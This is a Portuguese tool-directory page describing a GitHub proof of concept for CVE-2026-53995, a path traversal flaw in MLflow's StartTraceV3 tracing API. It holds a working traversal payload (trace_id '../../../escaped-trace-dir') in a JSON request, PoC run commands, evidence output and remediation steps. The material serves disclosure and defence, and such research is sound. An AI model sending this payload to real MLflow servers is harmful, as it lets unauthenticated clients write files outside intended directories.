Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-53995-mlflow-path-traversal — MLflow <=3.17.1 permite, por meio de path traversal, a escrita de arquivos de trace fora do diretório pretendido. | Kitploit
Ferramentas/GitHubGitHub/saiteja-erukude/cve-2026-53995-mlflow-path-traversal
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança WebPapers e Pesquisa
GitHubsaiteja-erukude/cve-2026-53995-mlflow-path-traversal

CVE-2026-53995-mlflow-path-traversal

MLflow <=3.17.1 permite, por meio de path traversal, a escrita de arquivos de trace fora do diretório pretendido.

Ver Repositório
1há 27 diasAinda não revisado
Compartilhar

CVE-2026-53995: MLflow <= 3.17.1 StartTraceV3 Path Traversal

Severidade: Alta, CVSS 3.1 8.2

Vetor: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L

Afetado: Versões do MLflow <= 3.17.1 ao usar o backend de rastreamento FileStore

Componente: API de Tracing do MLflow, StartTraceV3 / FileStore.start_trace()

CWE: CWE-22 (Limitação Imprópria de um Nome de Caminho a um Diretório Restrito), CWE-23 (Path Traversal Relativo), CWE-73 (Controle Externo de Nome de Arquivo ou Caminho)

Descoberto e reportado por: Sai Teja Erukude


Resumo

O MLflow aceita um trace_info.trace_id controlado pelo cliente através da API de tracing StartTraceV3. Quando o backend de rastreamento é o FileStore, esse ID é usado na construção de caminhos do sistema de arquivos sem rejeitar segmentos de travessia como ../.

Um atacante pode enviar um trace ID como ../../../escaped-trace-dir para escapar do diretório de traces do experimento pretendido. O MLflow então cria arquivos relacionados a traces no diretório resolvido fora da árvore de armazenamento de traces.

Impacto

Quando o endpoint de tracing é exposto sem autenticação ou restrições de acesso, um cliente não autenticado pode influenciar a localização no sistema de arquivos dos arquivos de trace controlados pelo MLflow em um servidor com backend FileStore, sujeito às permissões de sistema de arquivos do processo do servidor. O PoC incluído usa o cliente de teste local do Flask; ele não testa a exposição de rede de uma implantação ou a configuração de autenticação.

O PoC demonstra gravações fora do diretório de traces do experimento pretendido:

  • trace_info.yaml, contendo informações de trace fornecidas pelo cliente.
  • request_metadata/poc_metadata, contendo metadados controlados pelo atacante.
  • tags/poc_tag, contendo um valor de tag controlado pelo atacante.

Isso afeta a integridade ao permitir que dados da requisição controlem onde os arquivos relacionados a traces são gravados. Diretórios e arquivos inesperados fora da árvore de armazenamento de traces também podem causar impacto limitado na disponibilidade. A gravação demonstrada usa os formatos de arquivo e nomes de arquivo de trace do MLflow; ela não estabelece conteúdos arbitrários de arquivos, execução de código ou impacto na confidencialidade.

O relatório atribui as seguintes métricas CVSS 3.1:

MétricaValor
Vetor de Ataque (AV)Rede (N)
Complexidade de Ataque (AC)Baixa (L)
Privilégios Necessários (PR)Nenhum (N)
Interação do Usuário (UI)Nenhuma (N)
Escopo (S)Inalterado (U)
Confidencialidade (C)Nenhuma (N)
Integridade (I)Alta (H)
Disponibilidade (A)Baixa (L)

Detalhe Técnico

O caminho da requisição vulnerável é:

POST /api/3.0/mlflow/traces
  -> _start_trace_v3()
  -> TraceInfo.from_proto(...)
  -> FileStore.start_trace(trace_info)
  -> filesystem path construction using trace_info.trace_id
  -> directory creation and trace information, metadata, and tag writes

A requisição fornece o ID dentro de trace.trace_info:

{
  "trace": {
    "trace_info": {
      "trace_id": "../../../escaped-trace-dir",
      "trace_location": {
        "type": "MLFLOW_EXPERIMENT",
        "mlflow_experiment": {
          "experiment_id": "0"
        }
      },
      "trace_metadata": {
        "poc_metadata": "attacker-controlled metadata"
      },
      "tags": {
        "poc_tag": "attacker-controlled tag"
      }
    }
  }
}

Este trecho mostra os campos relevantes para a travessia. O executor constrói a solicitação completa, incluindo o estado de rastreamento, o carimbo de data/hora e os campos de pré-visualização.

O ID controlado pelo cliente produz a seguinte resolução de caminho relativa ao diretório PoC:

Expected trace storage: mlruns/0/traces/
Supplied trace ID:      ../../../escaped-trace-dir
Joined trace path:     mlruns/0/traces/../../../escaped-trace-dir/
Resolved trace path:   escaped-trace-dir/

A resposta salva retorna HTTP 200 e preserva o trace ID malicioso. Os arquivos resultantes ficam ao lado de mlruns/, fora do diretório de trace de experimento pretendido.

Prova de Conceito

run_poc.py constrói uma requisição StartTraceV3 maliciosa, configura um FileStore local, invoca a rota HTTP real do MLflow através do cliente de teste do Flask e registra a resposta e as evidências do sistema de arquivos. Ele exercita a rota sem iniciar um servidor de rede em escuta.

python -m venv .venv
.\.venv\Scripts\Activate.ps1
python -m pip install -r requirements.txt
python -B run_poc.py

Para imprimir o resultado legível por máquina:

python -B run_poc.py --json

O conteúdo de evidências salvo contém estes resultados, abreviados aqui:

{
  "package": {
    "distribution": "mlflow",
    "version": "3.17.1"
  },
  "endpoint": "/api/3.0/mlflow/traces",
  "status_code": 200,
  "malicious_trace_id": "../../../escaped-trace-dir",
  "checks": {
    "http_success": true,
    "trace_info_written_outside_traces_dir": true,
    "trace_metadata_file_written": true,
    "tag_file_written": true
  },
  "success": true
}

O runner salva:

  • evidence/start-trace-request.json: o corpo completo da requisição.
  • evidence/start-trace-response.json: a resposta do servidor.
  • evidence/escaped-trace-info.yaml: uma cópia das informações de trace gravadas fora do diretório de trace.
  • evidence/summary.json: a versão do pacote, os caminhos resolvidos, o código de status e os resultados da verificação.

success: true e código de saída 0 significam que a travessia foi reproduzida. Uma verificação com falha retorna código de saída 1; isso, por si só, não prova que uma versão está corrigida.

O payload grava dados de trace de demonstração em escaped-trace-dir/ dentro do diretório do PoC. O runner também grava mlruns/ e evidence/; executá-lo novamente substitui as evidências salvas. Use uma cópia nova ao coletar novos resultados, pois o runner verifica a existência de arquivos que podem já existir de uma execução anterior. Caminhos absolutos nas evidências salvas identificam o ambiente de reprodução original e serão diferentes em um novo checkout.

Um vídeo de demonstração local está incluído.

Correção

Valide os IDs de trace na fronteira do FileStore antes de construir caminhos ou criar diretórios:

  • Aplique uma lista de permissões estrita para IDs de trace usados como componentes de caminho do sistema de arquivos.
  • Rejeite separadores de caminho, segmentos de travessia, caminhos absolutos e caminhos de unidade do Windows, independentemente da plataforma do servidor.
  • Resolva o diretório de trace do experimento e verifique se ele permanece dentro do diretório do experimento.
  • Resolva o diretório de trace final e verifique se ele permanece dentro do diretório de trace do experimento, inclusive quando links de sistema de arquivos existentes estiverem presentes.
  • Reutilize as mesmas validações e verificações de contenção para operações relacionadas do FileStore de consulta, gravação, caminho de artefato e exclusão.
Baixar ferramenta

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 O kit definitivo de OSINT: grafo de investigação, pontuação de confiança, famílias de alias, mapa, linha do tempo e relatórios. 49 módulos, mais de 400 sites, sem necessidade de chaves de API.

    927
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # Aplicativo de Execução em Um Toque GhostLock (CVE-2026-43499)

    555
  • 3

    redforge

    cybersecurity91/redforge

    Kit de ferramentas de red team do lado do navegador com 102 ferramentas offline para reconhecimento, geração de payloads, ataques a credenciais, criptografia, codificação e relatórios de engajamento.

    360
  • 4

    ARTEX

    baarai/artex

    Plataforma autônoma de testes de penetração multiagente com LLM, com agentes planejador/executor, grafos de ativos e de exploração, registro de tráfego MITM e reteste de vulnerabilidades.

    357
  • 5

    looking-glass

    anonghosty/looking-glass

    Plataforma CSIRT que ingere relatórios do Shadowserver no MongoDB e os reproduz como mapas interativos, análises, descobertas, avisos e painéis executivos.

    324
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    O sistema de ação para cibersegurança nativa em IA—onde a intenção se torna execução governada, a evidência se torna memória operacional, e cada operação melhora a próxima.

    289

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →